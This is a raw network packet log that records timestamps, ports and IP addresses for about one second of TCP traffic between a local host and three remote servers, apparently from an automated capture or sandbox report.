Oct 27, 2024 17:54:42.876835108 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876847029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876857042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876888990 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876904011 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876908064 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876943111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.876979113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.876991034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.877016068 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.884860992 CET	443	49953	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.886264086 CET	49953	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.886286020 CET	443	49953	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.886980057 CET	49953	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.886987925 CET	443	49953	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.889884949 CET	443	49954	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.890242100 CET	49954	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.890253067 CET	443	49954	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.891333103 CET	49954	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.891339064 CET	443	49954	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.917253017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917273045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917284012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917304039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917315006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917315960 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.917327881 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917341948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.917382956 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.917392969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917463064 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.917468071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917479038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917489052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917501926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917505026 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.917514086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917524099 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.917551994 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.917582989 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917614937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917615891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.917628050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917659044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.917692900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917701960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.917735100 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.918649912 CET	443	49949	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:42.919008970 CET	49949	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:42.919027090 CET	443	49949	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:42.920480013 CET	443	49949	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:42.920572042 CET	49949	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:42.921710968 CET	49949	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:42.921796083 CET	443	49949	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:42.921938896 CET	49949	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:42.921977997 CET	49949	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:42.921986103 CET	443	49949	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:42.966718912 CET	49949	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:42.987688065 CET	443	49950	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.987802982 CET	443	49950	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.987864017 CET	49950	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.987889051 CET	443	49950	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.987909079 CET	443	49950	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.987960100 CET	49950	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.989974022 CET	443	49951	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.990037918 CET	443	49951	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.990086079 CET	49951	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.990107059 CET	49950	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.990128040 CET	443	49950	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.990140915 CET	49950	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.990148067 CET	443	49950	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.992508888 CET	49951	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.992525101 CET	443	49951	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.992543936 CET	49951	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.992548943 CET	443	49951	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.995040894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995073080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995085955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995096922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995110035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995119095 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995124102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995147943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995167017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995182037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995184898 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995197058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995204926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995210886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995223999 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995224953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995242119 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995242119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995255947 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995264053 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995266914 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995280981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995285034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995306969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995318890 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995332956 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995377064 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995476961 CET	49961	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.995511055 CET	443	49961	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.995606899 CET	49961	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.995757103 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995774984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995785952 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995805979 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995821953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995871067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995882988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995893002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995904922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995918989 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995933056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995959997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995964050 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.995971918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995982885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995994091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.995997906 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996006966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996016026 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996032953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996051073 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996057034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996068954 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996078968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996090889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996094942 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996104002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996115923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996129036 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996153116 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996156931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996165037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996176004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996187925 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996189117 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996201992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996217012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996246099 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996258974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996283054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996295929 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996296883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996321917 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996334076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996378899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996391058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996402025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996427059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996457100 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996459007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996476889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996511936 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996556044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996567965 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996578932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996594906 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996623039 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996635914 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996649027 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996659994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996680021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996692896 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996784925 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996838093 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996839046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996851921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996861935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996877909 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996891975 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.996956110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996968031 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.996978045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.997008085 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.997015953 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.997025967 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.997029066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.997041941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:42.997066021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.997092962 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:42.998085976 CET	49962	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.998117924 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.998233080 CET	49962	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.998431921 CET	49961	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.998456955 CET	443	49961	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:42.999094963 CET	49962	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:42.999109983 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.002665997 CET	443	49952	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.002739906 CET	443	49952	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.002810001 CET	49952	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.002827883 CET	443	49952	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.002847910 CET	443	49952	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.003010988 CET	49952	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.003079891 CET	49952	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.003094912 CET	443	49952	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.003107071 CET	49952	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.003113031 CET	443	49952	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.005464077 CET	49963	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.005486965 CET	443	49963	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.005662918 CET	49963	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.005784988 CET	49963	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.005808115 CET	443	49963	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.014110088 CET	443	49953	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.014197111 CET	443	49953	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.014251947 CET	49953	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.014554977 CET	49953	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.014566898 CET	443	49953	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.014579058 CET	49953	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.014584064 CET	443	49953	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.016715050 CET	49964	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.016738892 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.017029047 CET	49964	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.017301083 CET	49964	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.017318010 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.019706011 CET	443	49954	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.019787073 CET	443	49954	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.019913912 CET	443	49954	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.019913912 CET	49954	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.019989014 CET	49954	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.020034075 CET	49954	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.020034075 CET	49954	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.020046949 CET	443	49954	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.020051956 CET	443	49954	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.022192955 CET	49965	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.022209883 CET	443	49965	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.022281885 CET	49965	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.022422075 CET	49965	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.022432089 CET	443	49965	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.024537086 CET	443	49955	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.024781942 CET	49955	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.024817944 CET	443	49955	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.027637959 CET	443	49955	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.027704000 CET	49955	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.028004885 CET	49955	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.028085947 CET	443	49955	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.028162956 CET	49955	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.028182983 CET	443	49955	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.028218031 CET	49955	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.028259039 CET	443	49955	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.038161039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038213968 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.038245916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038258076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038268089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038280010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038289070 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.038292885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038306952 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038311958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.038336992 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.038348913 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.038389921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038402081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038412094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038422108 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038433075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038441896 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.038444996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038459063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038479090 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.038502932 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.038649082 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.038688898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.078504086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.078538895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.078619003 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.115144014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115175962 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115190983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115233898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.115252972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115263939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.115267992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115282059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115294933 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115303040 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.115308046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115326881 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.115354061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.115380049 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115392923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115405083 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115427017 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.115453005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.115917921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115931034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115942001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115953922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.115982056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.115997076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.116049051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.116255045 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.128386974 CET	443	49956	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.129144907 CET	49956	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.129160881 CET	443	49956	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.130224943 CET	443	49956	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.130295038 CET	49956	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.131714106 CET	49956	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.131781101 CET	443	49956	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.132152081 CET	49956	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.132162094 CET	443	49956	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.132186890 CET	49956	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.132246017 CET	443	49956	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.151300907 CET	49955	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.200345039 CET	443	49955	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.200989008 CET	49955	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.201086044 CET	443	49955	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.201317072 CET	49955	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.202548027 CET	49966	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.202594042 CET	443	49966	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.202830076 CET	49966	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.203583956 CET	49966	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.203610897 CET	443	49966	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.244568110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.250133991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.287818909 CET	443	49956	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.287885904 CET	49956	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.288763046 CET	49956	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.288775921 CET	443	49956	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.521605015 CET	443	49949	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.522222996 CET	49949	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.522313118 CET	443	49949	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.522479057 CET	49949	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.533814907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.533827066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.533838987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.533888102 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.533909082 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.533915997 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.533921957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.533932924 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.533950090 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.533967018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.533977985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.533991098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.534001112 CET	80	49853	185.215.113.206	192.168.2.5
